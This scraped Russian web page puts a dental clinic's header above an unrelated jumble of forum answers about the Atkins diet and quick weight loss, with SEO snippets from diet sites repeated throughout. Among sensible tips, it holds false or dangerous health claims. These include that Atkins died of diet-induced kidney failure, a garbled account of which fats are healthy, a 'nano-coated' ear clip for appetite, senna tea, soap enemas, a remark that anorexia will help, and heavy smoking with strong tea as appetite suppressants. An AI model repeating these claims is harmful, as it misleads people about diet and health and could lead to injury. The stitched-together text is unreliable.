Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Решила сесть на диету аткинса, не могу найти нужных рецептов. может кто сидел на этой диете и может подсказать что либо?

Диета в которой используется секс и кекс!
Утром - кекс
В обед - кекс и секс!
На ужин - только секс!
Так в течении месяца!
Если не поможет - кекс из диеты исключить!

Что есть во время редукционной фазы . Диета Аткинса рецепты первой фазы предлагает составлять из продуктов, которые перечислены ниже.

Белковые диеты ввел доктор Аткинс, ненавистник хлеба и макарон, проповедник мясной пищи. Он умер в страшных страданиях оттого, что отказали почки.

Sxodite k dijetologu i necego kalecit sebe zdorovje.

Хочешь есть-жри яблоко
не хочешь яблоко-не хочешь жрать (народная мудрость)
подруга села на нее-итог-в больнице, лечит поджелудочную

Монодиеты самые вредные диеты. Монодиета это диета с одним классом продуктов питания (только молочное или овощное) . При этом идет нехватка других элементов и витаминов, некоторые смягчают последствия принимая мультивитамины. Монодиета вредна!

Аткинс, это которой Мистер Бин? Ну он шутник.

Edimka.Ru - как похудеть, эффективные диеты, правильное питание, состав продуктов, таблицы калорийности, вкусные рецепты иОдна из быстрых и эффективных диет - это диета Аткинса.

Наберите в поисковике "Диета доктора Аткинса рецепты"-найдете все, что душеньке угодно

Или найдите Кремлевскую диету-тоже самое

Ерунда !

Сажусь на диету Аткинса

Исключить сладкое и хлеб. Все остальное можно. И еще, не ешь после 18:00ч.

Диета Аткинса один из самых эффективных способов похудения. Особенности питания и меню на каждый день. Рецепты приготовления диетических блюд.

А что за диета подскажи может тоже посижу.реально ответь пожалуйста

А где у Аткинса диета?

Просто исключи углеводы не плохая диета,первые 2 недели будет сложно..а потом все ок!!!Удачи!!!

Диета в любой её форме ВРЕДНА для здоровья

Очень вредная диета!! Зря!!
на третий день будет такой запах изо рта..сами бросите)))))
это первая проблема этой диеты!!!!

Сварите 500 гр. замороженных креветок и 2 горсточки дикого риса на гарнир. Рецепты для диеты Аткинса.

Если Вам надоели печень и поджелудочная железа - то вперед...

Http://www.gazeta.ru/science/2006/11/23_kz_1081213.shtml?kz1081213 Мож не надо??:)

Мой друг весил 115 кг а рост у него 180 где то. жрал только фрукты за 6 месяцев похудел 50 кг вот и все и еще не ешь после 18:00

Похудеть , желательно быстро и эффективно, без нервов и на долго. Только не портить внутренности всякими уксусами.

Набираете в поисковике "диета роберта аткинса". Там всё написано.

Что есть во время редукционной фазы . Диета Аткинса рецепты первой фазы предлагает составлять из продуктов, которые перечислены ниже.

Не жрать так, как сейчас жрёшь.

Вы просто фантастики какой то хотите. Сначала не отказывайте себе ни в чем, а потом хотите так же быстро избавится от лишнего веса! Самый простой и эффективный способ сбросить вес - больше двигаться, меньше сладкого, жирного, соленого, копченого и жареного.

БЫСТРО- ЛИПОСАКЦИЯ! другого варианта современной науке не известно, только шарлатанские методы которые вы если ума хватит можете проверить на своем здоровье (лечение после на долго и за дорого обеспечено ! )
Второй вариант и последний - правильное питание (не диета !!!чувствуете разницу да же в написании! ) + спортивные нагрузки ,= - 3-5кг в месяц (больше это клиника ! )
Так что выбирайте и в перед !

Спорт....

Найдите в инете "худеем за неделю" курс экстренного снижения веса и жировой прослойки. Там видео, мне муж в Медиа Джете скачал. Он разработан нашим институтом спортивного питания. Все подробно объясняют, питание прям по дням и упражнения по 40 мин (перед каждым занятие показывают таблицу что в этот день есть) и так все 7 дней. Тяжеловато я скажу, но результат по объемам заметила на третий день. Можно в принципе и не скачивать, я в юту-бе эти занятия видела.

Диета Аткинса рецепты блюд. 18.04.2014 Меню и рецепты No comments.Вот некоторые рецепты, которые помогут Вам вкусно сбросить вес.

Орсотен или орлип

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды;
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час;
•перейти на дробное питание 5-6 раз в день;
•ограничить потребление ненасыщенных жиров до 40 г в день;
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) , например, рыба некоторых сортов, ненасыщенные -колбаса, сыр и трансжиры (очень плохие) , например, маргарин;
•с удовольствием потреблять продукты с насыщенными жирами, так как они содержать очень полезные вещи, например, жирные кислоты омега -3);
•есть ржаные или пшеничные отруби;
•Алкоголь ограничить и лучше всего пить немного красного вина;
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе, чем на 25 км;
•Хорошо спать;
•Сладкое мучное сдобное. Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать.
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий. . Она действует на точку голода на козелке и помогает с ним справиться. Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

Советую японскую диету. 5-8 кг за 2 недели, рецептов много на сайтах. Отзывов тоже много. Испытано. + улучшается обмен веществ

Послушайте опытного эндокринолога по поводу похудения и все узнаете Как похудеть правильно и быстро

Купите RED SLIM TEA (красный чай) и пейте как указано в инструкции. сама пью. вкусный и не вредный. состав: кассия и сенна

Классическая низкоуглеводная диета Аткинса появилась более 30 лет назад.Новые рецепты. Аливанка. Национальное блюдо молдавской кухни становится все...

Напишите пожалуйста вкусные рецепты из простых ингредиентов чтобы похудеть за 3 дня

Вода :D

А какие интересные диета Аткинса рецепты предлагает? Разрешаются самые разные блюда, но запрещено мучное, фрукты, алкоголь, овощи с большим содержанием крахмала.

За 3 дня не похудеете, только желудок"посадите"!, не рекомендую! диета-это длительный процесс, подразумевающий правильное ежедневное питание, минимум 2ух недельное.... ешьте овощи на парУ и пейте кефир!

Чтобы похудеть, требуются невкусные рецепты.

Гной !

Вода, зеленый чай без сахара, вода
зеленый чай без сахара, вода, зеленый чай.
За три дня не знаю, а вот за неделю сбросить вес поможет диета под названием Боннский суп
http://homediet.ru/nizkokaloriinye/58-dieta-bonnskij-sup.html

Я быстро скидывала на диете Аткинса - ну. типа. адптированной. Но ее нельзя! употреблять дольше недели. Пишу режим: 8 утра - чай без сахара. 10 утра - 40 грамм твердого сыра. 12 часов (полдень) сто грамм вареного мяса, 1 вареное яйцо. 20 грамм сыра. 15 часов - чай без сахара. 18 часов - 100 грамм жареного на раст. масле мяса, овощной салат (без крахмалосодержащих!) - без ограничения. Алкоголь нельзя. Перекусы - типа семечек - нельзя. Ничего нельзя. кроме указанного, даже лишнюю чашку чая, даже без сахара. Мясо и яйца лучше всего несоленные вообще: мясо и яйца в этом случае лучше есть вприкуску с сыром - в нем есть соль. Сразу трудно. но на третий день терпения начинают слетать кольца с пальцев и брюки падают вниз. Больше пяти дней держать диету не стоит. Я знавала людей. который месяц на этом сидели. но потом у них были проблемы со здоровьем. Луче пять дней подержать - неделю нормально (ограниченно) питаться. Потом опять неделю на этой диете. За месяц разумного ограничения люди теряли без трудностей по 15 кило живого веса.

Диета Аткинса одна из самых эффективных методик при борьбе с жировыми отложениями.Несмотря на некоторые ограничения в рационе питания, существуют множество рецептов...

..очень хорошо сбрасывать вес на гречке... желательно без масла и без соли.... но за три дня... мне кажется не реально....)...

Похудение за 3 дня:
1 день
Завтрак: 1 хлебец или кусочек черного хлеба с джемом и чай (или кофе) без сахара. Через час — половинка грейпфрута.
Обед: полбанки консервированного тунца с кусочком хлеба, помидор.
Ужин (непременное условие — ужин должен быть до 18.00): 100 грамм вареной куриной грудки, стакан вареной чечевицы или белой фасоли и 100 грамм вареной свеклы (свеклу можно заменить помидором с огурцом).
На ночь, если хочется кушать, можно съесть одно яблоко.
2 день
Завтрак: 1 вареное яйцо, 1 хлебец, чай или кофе. Через час — банан
Обед: сваренный без мяса борщ и 2 хлебца
Ужин: 100 грамм творога. Творог можно заправить зеленью (укроп, петрушка, огурец, зеленый салат, зеленый лук) и полить тремя ложками кефира.
3 день
Завтрак: 50 грамм сыра нежирных сортов и 2 хлебца с чаем (или кофе). Через час — яблоко.
Обед: вареное яйцо, огурец, помидор, 1 кусочек хлеба или хлебец.
Ужин: 150 грамм куриной вареной грудки. На гарнир отвари цветную капусту (ее можно съесть сколько захочешь). Грудку и капусту можно полить лимонным соком.

На какую диету сесть если тянет на белковые продукты, а похудеть хочится?

На белковую

Еще один важный нюанс диеты Аткинса рецепты для меню необходимо составлять, используя специальные таблицы, что очень неудобно.

На кремлевскую. Вкусна, и типа худеете

Так на белковую и сядь! никаких углеводов!
Результат довольно скоро заметен. Называется диета Аткинсона или кремлевская.

На белковых продуктах похудеть проще (диета Аткинса на этом основана). НО - от неё убиваются напрочь почки.

Так на белковую и садитесь. Мясо, рыба на пару с овощами, или ннчто подобное.

Кремлевская диета

Диета Аткинса - подробное описание и полезные советы. Отзывы о диете Аткинса и примеры рецептов. 09.09.2012 00 46.

На "Кремлевскую", если здоровья не жаль.

Существуют и мясные диеты.

На овощную с фруктовой. Скорее всего, на яблочную. Знакомая 3 недели ела яблоки и кефир, в результате- минус 8 кг, ее сейчас вообще не узнать! Такая стройная стала!

Ограничьте потребление углеводов. Ешьте мясо (желательно не жирное) и рыбу, если организм требует. И много овощей. И соль ограничить с сахаром.

Почитай рецепты!
отварные блюда, тушеные!
курица и мясо и рыба, все можно есть, главное с умом приготовить... а не с соусами жирными и острыми.

Сторонники диеты Аткинса утверждают, что даже употребляя большое количество жиров, вы можетеРецепты по продуктам. Какой продукт у вас есть в наличии. Кулинарные новости.

Кушайте умеренно всего понемногу. Последний прием пищи не позже 17-18. Кушать лучше часто понемногу. Воды 2 литра в день (не считая чая и кофе) . В завтрак и обед -подкрепляйтесь основательные, ужин полегче.

Посидела на строгой диете неделю...теперь мучаюсь с желудком. Помогите советом. Подробнее внутри

Поробуйте офощей больше, яблок, груш, молочные продукты.
и линекс какой нибудь попейте для восстановления работы желудка

Разнообразные аппетитные рецепты диеты Аткинса позволяют худеть сытно, вкусно и комфортно. Выбирая из таблицы разрешенные продукты...

Пейте фильтрованную воду- 2-3 литра в день. В зависимости от массы тела. На ночь чернослив. Кисломолочные нежирные продукты.

Поищите лямблию и амебу, а с запором нельзя бороться клизмами, нужно свеклой, сенной и черносливом с инжиром. На Аткинса сидели или другой белковой диете? Вот как вредно самому себе назначать ление без совета специалиста... Пишите, помогу, если захотите.

Я сомневаюсь, что из-за недельной диеты прям такие перемены. чтобы заставить заработать кишечник с"едайте 100 гр. чернослива в день, не ешьте сладкое, мучное, жареное

Атонию кишечника себе из-за диеты заработали.. .
тут много рецептов: http://homedr.ru/narmed/jkt4.php
а вообще нужно пить побольше жидкости, кисломолочных продуктов. есть больше клетчатки (хлеб грубого помола, фрукты, овощи)
клизмы нужно стараться уменьшать, они только усугубляют ситуацию. заменить их обволакивающими слабыми слабительными, к примеру отваром льняного семени.
от дисбактериоза имеет смысл попить линекс или бифидумбактерин.
если не помогает - обращайтесь к врачу.
Удачи :)

Яблки и чернослив кушай виноград в личку пиши поговорим

Рецепты. Холодные закуски. Рулетики из баклажанов со сливочным сыром.Фаршированные перцы. Вариант фаршированных перцев для диеты Аткинса. Стифадо.

Попробуйте после очистительной клизмочки ставить лекарственную. Можно даже просто с ромашкой. На ночь.
1.Делаете очистительную клизму, через 10 минут в туалет. Можно в обычную воду добавлять мыло. Для этого просто сполосните в ней мыльные руки.
2. Делаете клизму с ромашкой или любым другим отваром травки и ложитесь с ней спать не идя в туалет.
Можно также попробовать после очистительной вазелиновые клизмы.

Дайте совет как можно похудеть?

Больше заниматца сексом!!)))

Диета Аткинса один из самых эффективных способов похудения. Особенности питания и меню на каждый день. Рецепты приготовления диетических блюд.

Пошутила да ?

Найдите заменитель сладкого, например, фрукты.... яблоки, груши.... и в чай, в место сахара можно ложите фрукты....

Это индивидуально. Попробуй отказаться от сладкого и мучного и займись спортом

Элементарно. Каждое утро - 30 отжиманий и столько же приседаний с гантелями в вытянутых руках (начать нужно с того, сколько можешь, и прибавлять по разу в день до 30). Время - максимум 3 минуты в день. Итог - минус 5 кг за 3 недели + суперсексуальный живот.

Спортом больше занимайся!

АТКИНС-КЛУБ. Форум о НизкоУглеводном Питании... и диете Аткинса в частности.Проверенные рецепты с фотоотчетами. Отметить подфорумы как прочт нные.

АНОРЕКСИЯ поможет!

А сутулость прошла уже))

Я вот уже полгода худею. Совет могу массу дать. Главное - с утра бодифлекс (15 мин.), в течение дня сбалансированное здоровое питание, после 18.00 - не есть (я для себя так решила, идеально за 3-4 часа до сна) На этом сайте много полезного для себя нашла http://www.nadietah.ru/bestnodes
Вот советы сайта:
В первую очередь определитесь, действительно ли у вас лишний вес, действительно ли вам надо худеть. В этом вам поможет, например, калькулятор индекса массы тела.
Не старайтесь худеть слишком интенсивно. Быстро сброшенные килограммы после завершения жесткой диеты возвращаются, как правило, не менее стремительно.
Основа основ похудения – нормализация своего питания. Начните со строгого выполнения классических правил питания. Очень кратко их можно изложить несколькими пунктами:
Не переедать.
Соблюдать баланс основных питательных веществ (белков, жиров, углеводов).
Пища должна содержать достаточное количество витаминов и микроэлементов.
Кушать часто, но понемногу.
Последний прием пищи – не менее чем за 3 часа до сна, но и не слишком задолго. Вряд ли стоит советовать ничего не есть после 18:00 тем, кто ложится спать не раньше 12 ночи.
Увлекшись множеством появившихся в последнее время новомодных диет, мы как-то подзабыли, что еще в советские времена нашими отечественными диетологами была разработана методика питания, получившая название «Лечебный стол № 8» и прекрасно себя зарекомендовавшая. Причем переносится она куда легче, чем подавляющее большинство модных сейчас диет (кремлевская, японская, Аткинса, Монтиньяка и т.д. и т.п.), а результат дает не хуже, результат не быстрый, но стабильный. И при этом обеспечивает полноценное питание, которое не нанесет вреда вашему здоровью.
Ну а если вы все же хотите попробовать что-то еще, то вот ссылочки на некоторые особо модные сейчас диеты:
Кремлевская диета. Безусловно, самая модная и популярная диета последних лет. Но это не значит, что самая лучшая:) Диета достаточно тяжелая, имеющая много противопоказаний, но, несмотря на это, авторы диеты рекомендуют придерживаться ее принципов всю жизнь... Очень близка к ней по сути диета Аткинса.
Японская диета. Тоже достаточно сложная, но ограниченная по времени – 13 дней. И, несмотря на название, ничего общего с традиционным питанием японцев не имеющая:)
Диета Ларисы Долиной. Диета еще более тяжелая, низкокалорийная, если не сказать голодная.
Диета по группе крови. Разработчики этой методики питания подводят под нее очень такое… наукообразное обоснование, но насколько оно действительно научно, диетологи еще спорят и спорят…
Раздельное питание. Еще одна весьма неоднозначная и спорная методика, нашедшая тем не менее множество поклонников.
Диета Кима Протасова. Продолжительность – 5 недель, отзывы об этой диете в основном неплохие
Диета Маргариты Королевой. Вообще-то, как правило, Королева разрабатывает свои диеты индивидуально под каждого пациента, поэтому надо очень хорошо подумать, подойдет ли ее диета именно вам. А лучше – проконсультироваться у врача-диетолога, пусть и не у такого «раскрученного»
Метод Монтиньяка.
Импульсная диета Михаила Гинзбурга.
Монодиеты, основу которых составляет один продукт:
кефирная, гречневая, рисовая, яблочная, молочная, ананасовая, арбузная, огуречная, морковная, творожная, шоколадная, яичная… Диеты очень жесткие, несбалансированные, и применять их можно в течение не более чем нескольких дней подряд.
Для успешного похудения просто необходимо вести активный образ жизни, больше двигаться. Сев на диету, ни в коем случае не снижайте свой уровень физической активности, наоборот, постарайтесь его повысить. Если физподготовка у вас совсем слабая, начните с ходьбы, постарайтесь ходить пешком в среднем темпе не менее часа в день. Когда выдерживать такую нагрузку станет для вас совсем нетрудно, переходите к более серьезным физическим упражнениям.
Регулярное посещение сауны, русской парной бани также внесет свой вклад в борьбу с лишними килограммами. Сами по себе банные процедуры заметного и до

Как похудеть на 20 кг за 2,5 месяца?

НЕ реально это и сами это должны ПОНИМАТЬ

Непеч ные сладости. Прочие десерты. Детские рецепты. Диета Аткинса. Категория Диеты.

Не жрать все подряд ;)
Удачи .

Только на 5 Кг

Не есть, не пить! Нереально!

Похудеть-то можно, но чтобы не посадить сердце, нужно худеть не более, чем один килограмм в неделю.

Максимум через день бегать, пить в день по 3 литра воды, забыть дорогу к холодильнику))

Теория Роберта Аткинса Две фазы диеты Аткинса Рецепты диетических блюд Плюсы и минусы диеты доктора Аткинса Результаты диеты фото до и после.

Не жрать что попало и бегать в тёплой одежде. Прям потеть как потная корова

В качалку ходить, по утрам бегать и питатся правильно, главное следить за собой

Кушать строго по времени, порциями не болше 200 грамм, вареные овощи, белое мясо нежирных цыплят, рыбу нежирных сортов, немного спортивных упражнений и движения. Сама так худела. А вообще за такое короткое время нельзя так много сбрасывать. Кожа будет сильно висеть в итоге.

Сделавть липосакцию и подтяжку кожи после этого..

В спортзал ходи

Лишний вес на протяжении веков вызывал неоднозначные эмоции от неподдельного восхищения до откровенного порицания. Сегодня медицина и вкусы сошлись в едином мнении избыток жира это не только некрасиво, но и нездорово.

Диета Дюкана, обалденная
если любишь мясо, рыбу курицу, то проблем с голодом не будет
можешь есть сколько душе угодно, а кг будут уходить, т. к. белки полностью усваиваются,
попробуй)) )
на официальном сайте есть множество рецептов того, что можно приготовить из разрешенных продуктов,
посмотри может заинтересует, у меня знакомая за 7 недель скинула 10 кг

Специально каких то страшных диет не нужно, хотя питание всё же придётся пересмотреть, а так же добавить физические нагрузки. Но обо всём по порядку... .
ПИТАНИЕ:
Итак, что касается питание то предпочтение стоит отдать белковой пище (куринная грудка/филе, индейка, нежирная рыба и говядина, тофу, обезжиренный творог и т. п. ) и сочетать её лучше с зеленью и овощами.
Углеводную пищу лучше сдвинуть на первую половину дня (до 13:00), фрукты (до 16:00).
Питаться придётся часто 4-6 раз в день, так что голодными Вы вряд ли останитесь.
Проснувшись утром нужно обязательно выпить стакан воды, если нет проблем с желудком то добавить в воду лимон. Это разбудит наш организм и "запустит" его к работе. Спустя 20 - 30 минут пришло время завтракать.
До часу дня разрешается 1-2 порции сложных углеводов. Это 8-10 столовых ложек: гречневой или овсяной каши. Или столько же отварного бурого (коричневого) риса. От остальных углеводосодержащих продуктов на время похудения нужно будет отказаться.
Примерный завтрак (8:00 - 9:00) может быть следующим:
1. Кофе/чай без сахара, овсяная каша в которую по желанию можно добавить например ягоды, яблоко.
2. Кофе/чай без сахара, 2 яйца врёных (можно и яичницу например со шпинатом или курицей) , грейпфрут.
и т. п.
Спустя 2-3 часа пришло время перекуса или 2 завтрака ( это примерно 11:00):
Это может быть нежирный творог, яблоко, кусочек куринного филе, овощной салат и т. п.
Обед (примерно 13:00):
1. Кусочек рыбы с бурым рисом, овощной салат заправленный лимонным соком или 1 ст. ложкой раст. масла, чашка несладкого кофе/чая.
2. Куринная грудка, овощной салат (см. выше) , чашка чая/кофе без сахара
и т. п.
Полдник (примерно 16:00)
Творог маложирный и овощной салат или например 2 яблока, грейпфрут.
Ужин (примерно 19:00):
На ужин мы убираем углеводы, у нас остаётся только белок и некрахмалистые овощи (огурцы, помидорами, капуста, кабачки и т. п.) . Например:
1. Рыба на пару с зелёной фасолью
2. Куринное филе с овощным салатом и т. п.
За 2 - 3 часа до сна если очень хочется можно выпить стакан обезжиренного кефира без добавок.
P.S. Так же, пить не менее двух литров простой воды в сутки и принимать витамины.
ФИЗИЧЕСКИЕ НАГРУЗКИ
Тут можно долго описывать, лучше всего купить абонемент в любой фитнес центр. Если такой возможности нет, заниматься можно дома, видео с тренировками в интернете полно, выбирайте что душе угодно (аэробика, йога, пилатес и т. п. ) самое главное это движение!
МАССАЖИ
Лучше всего подключить к похудению массаж, самый эффективный для этих целей: баночный, вакуумный, LPG-массаж и медовый если нет противопоказаний.
ВАННЫ
Принимайте ванны с морской солью и эфирными маслами, это не только благоприятно скажется на коже, но и выведет лишнюю воду из организма.
Ну вот собственно и всё, этого будет вполне достаточно чтобы быстро, а главное безопасно похудеть, удачи!! ! :)))

Ой, да что вы так накинулись на девушку... она спросила КАК похудеть, для того что бы совет услышать, а не запреты ваши!! !
Если очень сильно захотеть, то похудеть можно хоть на сколько... Важна сила воли, тем более когда есть ограниченный срок... срываться нельзя.. .
во-первых важна физическая нагрузка! Самый лучший вариант - тренажерный зал, есть эконом вариант - занятия дома.. перед тв.. плюсы в том, что интернете можно найти любые видео уроки - аэробики, пилатеса, танцев, но минусы домашних занятий - это отлынивание от них... А тренажерный зал - дисциплинирует... .
К тому же сейчас лето и можно плавать в водоемах и кататься на велосипеде (помимо основных занятий)
Во-вторых питание.... есть можно мясо (но только рыбу и курицу, т. к. их мясо содержит в основном белки и почти не содержит жира) , любые молочные продукты несладкие (опять те же белки) , и любые овощи, в любом количестве и в любом виде... Так же можно побаловать себя морепродуктами, орешками всякими... и. т. д... Нужно пить много воды, чем больше, тем лучше, т. к. она ускоряет обмен веществ... а еще этот обмен ускоряет чай с корицей и имбирем, и грейпфрутик) САМОЕ ГЛАВНОЕ ВЕРИТЬ В СЕБЯ! ИДТИ К СВОЕЙ ЦЕЛИ! И НИКОГО НЕ СЛУШАТЬ!!))

Тибе надо потолстеть на 20 кг за 2.5 месяца

Диета Дюкана или совет от тренера по фитнесу. Если первое, то готовься принимать пачками лекарства для печени, поджелудочной и сердца. Скинешь 20 кг. но если сойдешь с неё они к тебе вернутся за дней 7мь. Если будешь слушать совет от тренера, то будешь худеть хорошо, похудеешь килограмм на 15 и будешь выглядедь обалдено! а главное с таким рационом можно смело идти на праздник, хорошо покушать всяких всяк и все равно продолжишь худеть =)

Диета Аткинса, официально называемая система питания Аткинса низкоуглеводная диета, разработанная известнымКатегория Рецепты диет Добавил veter6666 27.05.2012 .

Переходите на имбирный чай для похудения.
Совместите это все с набором специальных аэробных тренировок для похудения!
И, наконец, рекомендую ознакомиться с диетой Аткинса, при которой можно есть все, но с некоторыми условиями!

Помогите подобрать диету!!!

У меня рецепт стоит, там где фото в (мой мир) может подойдёт.

Что есть во время редукционной фазы . Диета Аткинса рецепты первой фазы предлагает составлять из продуктов, которые перечислены ниже.

На кефире и гречке несолёной сидела.. сбросила 2 кг... как только закончила.. опять их набрала.
но перестала есть после 6 и на 3 с половиной кг похудела)) так что не надо себя мучать определёнными диетами и отказывать себе во всём... если уж очень всё запущенно, то перестаньте кушать после 4х (на танцы когда ходила, частенько так делала)... помогаает))

Похудение=3 составляющих.
1. Диета или голодание. Подбирается исключительно диетологом.
2. Занятия спортом - бег, тренажёрка. Сжигает калории.
3. Массаж. Любой. Разминает жир для расщепления.

Диета Аткинса

Японская диета,
Можно на кефире 0%-1%, 3-4 дня посидеть)

Диета должна стать образом жизни! Попробуйте Систему минус 60 !

Edimka.Ru - как похудеть, эффективные диеты, правильное питание, состав продуктов, таблицы калорийности, вкусные рецепты иОдна из быстрых и эффективных диет - это диета Аткинса.

Очень хочу похудеть. Люди добрые подскажите как?

Жрать надо меньше :)))

Диета Аткинса один из самых эффективных способов похудения. Особенности питания и меню на каждый день. Рецепты приготовления диетических блюд.

Бег по утрам всегда помогает. Тем более сейчас лето! Удачки!)

И НАКАКИХ ДИЕТ.... ЕШЬ ПЯТЬ РАЗ В ДЕНЬ ПО 200 ГРАММ.... ВСЕ

Двадцать лет Вам, я так понимаю? Знаете что, наберите в поисковике "диета роберта аткинса" и внимательно прочитайте все, что там написано. Если решитесь худеть на этой диете и будут вопросы, напишите мне в "личку",я просто кое-что подскажу из собственного опыта. Единственно, могу сразу сказать, что физические нагрузки к похуданию имеют очень маленькое отношение. Без диеты не похудеете.

Вообще все в генах заложено. Иногда людям с этим трудно бывает справиться.. . Лучше натуральными способами. Пробежки по утрам по 20-30 мин, и не мучай себя диетами. Со временем похудеешь.

А зачем вам это надо? Может поменяйте приоритеты.

Сварите 500 гр. замороженных креветок и 2 горсточки дикого риса на гарнир. Рецепты для диеты Аткинса.

В общем-то есть можно все, но мало. А если хочешь реально похудеть, то читай.
Важно не что именно ты ешь, а то, какое суммарное количество калорий потребляешь. А вообще питание должно быть разнообразным и полноценным, чтоб твой организм получал достаточно витаминов и микроэлементов. Иначе могут начаться проблемы со здоровьем.
Итак. Посчитай калорийность. Потребляй не более 1600 килокалорий в сутки. Таблицы калорийности есть в тырнете.
Полностью исключить свинину, баранину, мучное, пшеничные и манные каши, рис, картофель, сладкое, жирное, сахар, белый хлеб.
Можно: овсянку, геркулес, гречку, перловку, овощи, фрукты (виноград и бананы исключить) , отварную говядину, крольчатину, куриные грудки (никакой кожи и окорочков) и т. п. 1 кусочек черного хлеба к обеду.
Идеально: солянка с грибами, тушеная говядина с гречкой и т. п. И разумеется, не ведрами. Перед обедом выпивать стакан холодной воды.
Сахар исключить, соль максимально сократить. Вместо сахара можно немного сорбита (1 ложка на чашку чая)
Ну и полезно купить велотренажер. Он будет сжигать лишние калории. И важно не лениться, а каждый день на нем заниматься. Начать нагрузку со 100 килокалорий и по 20 килокалорий в день увеличивать до 200 в день.
Постепенно похудеешь

Садись на гречневую диету, + 30-дневку можно с Джиллиан Майклс.

У меня такой же рост, но возраст 38. Я незнаю сколько вешу, давно не взвешивалась, но плотного телосложения. Я худела на кефире и свежих огурцах. Их кушаешь сколько хочешь, но без соли, чай по утрам без сахара .И дома качала пресс, присядание, за 1 месяц похудела на 5 кг. Вообще без напряга и не чувствуя голода. Удачи!!!!

Всё хорошее даётся с трудом.
Не переедать. Не перекусывать. Не есть на ночь. Питаться строго по распорядку - в одно и то же время. Питаться 5 раз в день, не доводя до состояния голода, тогда организм не будет откладывать жир. Если туловище голодает между приёмами пищи, туловище будет "думать", что еды не достаточно и будет откладывать жир. Этого надо избежать. Естественно отказаться от сладостей, мучного (совсем мало можно) , жирного, жареного. Есть варёное, приготовленное на пару, на худой конец тушеное. И немного спорта, тоже систематически. Бег без диеты бесполезен. Оно хорошо вместе. Диета - важнее. Всякие кремлёвские и т. п. - развод для лохов.
Было дело я лежал в больнице 2 недели, кушал только то, что там давали. Варёное, тушеное. Похудел на 5 кг ЛЁЖА. Только диета спасёт фигуру. Самое главное забыл сказать - сколько нужно сидеть на диете. Всю жизнь :)

Ёлы палы, я сладкого вообще ни ем и диеты у меня никакой нет - вес 69кг рост 1м80см. Я жру просто мало - апетита нету. - Булок мало а сахар вообще терпеть не могу. Ем вообще 1 тарелку макарон в день с подливкой или с сыром без хлеба или 2 тарелки гречневой каши с молоком и усё. Но я пью очень много крепкого чая без сахара и курю. - Это конкретно аппетит отбивает. - Завариваю 3 пакетика чая на пол. чашки (короче это "купец" получается 0 почти что "чифер"). - Я выпиваю за 1 день 25 пакетиков чаю и выкуриваю 1,5 пачки сихарет) - Короче у меня апетита вообще нет и меня есть чуть ли не заставляют. С чаем я ещё 1 шоколадку как правило в день съедаю (100 грамовую) . Иногда ещё кусачек колбаски маленький схаваю или чуток мяса - вот и усё. Так что так вот.

Что есть во время редукционной фазы . Диета Аткинса рецепты первой фазы предлагает составлять из продуктов, которые перечислены ниже.

Если ты есть вконтакте, найди там группу 40кг, я худела с помощью нее

Советы в интернете, по вопросам похудения могут только навредить. Если реально есть желание похудеть идите к специалисту, там вам составят персональную диету, комплекс упражнений и прочее.. . Все индивидуально, что хорошо для одного, для второго может оказаться вредным. Так что не стоит проводить над собой различного рода эксперименты, обратитесь к врачу.

Масса диет - от вегетарианских до раздельного питания с промывками кишечника, по количеству пищи, принимаемой за один приём - не более стакана, чтобы не растягивать желудок, всем заниматься нужно, не бросать ...Может, ну её нафик? Живём один раз. Тем более что фитнесом занимаетесь, отлично, значит организм такой - при росте 155 вес 62, хотя конечно 47 смотрелась бы на модель... Без фанатизма, давай, главное настроение и не зацикливаться! А то ещё больше поправишься ...

Эффективный способ- бодифлекс. Это дыхательная гимнастика основанная на элементах йоги. Ее надо делать утром на тощак. Занимает всего 15 мин в день, для упражнений ничего не нужно, делать можно дома. Если заинтересовало, поищите в интернете видео и попробуйте это поделать. Лично мне помогает, конечно не моментально, но уже хорошо что, действует.

Очень простой совет, Сама пробовала и на других видела результат: не есть после шести. Было так, я работала до 6-7, потом домой добиралась, в результате голоднющая, ела часов в 9 вечера. Компанией стали ужинать на работе примерно в 17.30-18.30. Потом дома - немного воды и все. Очень помогает.
Ну и, разумеется, в течение дня стараться не переедать. Парадокс, но факт: чем больше съедено за день, тем больше хочется есть вечером.

Диета Аткинса рецепты блюд. 18.04.2014 Меню и рецепты No comments.Вот некоторые рецепты, которые помогут Вам вкусно сбросить вес.

...сладкое тоже бывает разное: полезное и ужасное... ешь зефир и мармелад, и еще-черный шоколад... +дробное питание и вода... и пешие прогулки-тоже не ерунда... весь фокус в том, чтоб больше тратить, чем поглощать...

Никаких диет, диета-временная встряска организма, за которую он мстит. Лучшим, для Вас будет следующее (если Вы решили не набирать больше вес): 1)каждый прием пищи начинать и заканчивать приемом имбиря (сухого, молотого), брать-на кончике чайной ложки (по объему-с горошину), запивая 1/4 стакана горячей воды; 2) не совмещать в рационе питания-соленое и сладкое за одной едой; 3) запомнить простую истину: корица
**сжигает**сахар, потому принимать корицу после сладкого или-вместе со сладким; 4)не **заедать** обиду, а-запивать имбирным чаем.

Если ты стараешься похудеть.. .
● Всегда завтракай, иначе из-за чувства голода потом съешь больше обычного.
● Перед едой выпей полный стакан воды. Это умерит аппетит и поможет контролировать, сколько ты ешь.

На своем примере расскажу как немного похудеть . Сейчас лето, а значит много овощей и фруктов. Дня два ешь салатики овощные и вареное мяско. Фруктики сладенькие, ягоды- если хочется сладкого. На 3 день можно позволить себе кусочек любимой вкусняшки. Потом повторяешь. Все это лучше делать параллельно с легкими упражнениями. Растягивания лучше всего подойдут

Кушаешь как можно чаще, но очень мало . Пей очень много жидкости . Побольше овощей . После трех не ешь сладкое . За два часа до сна не ешь

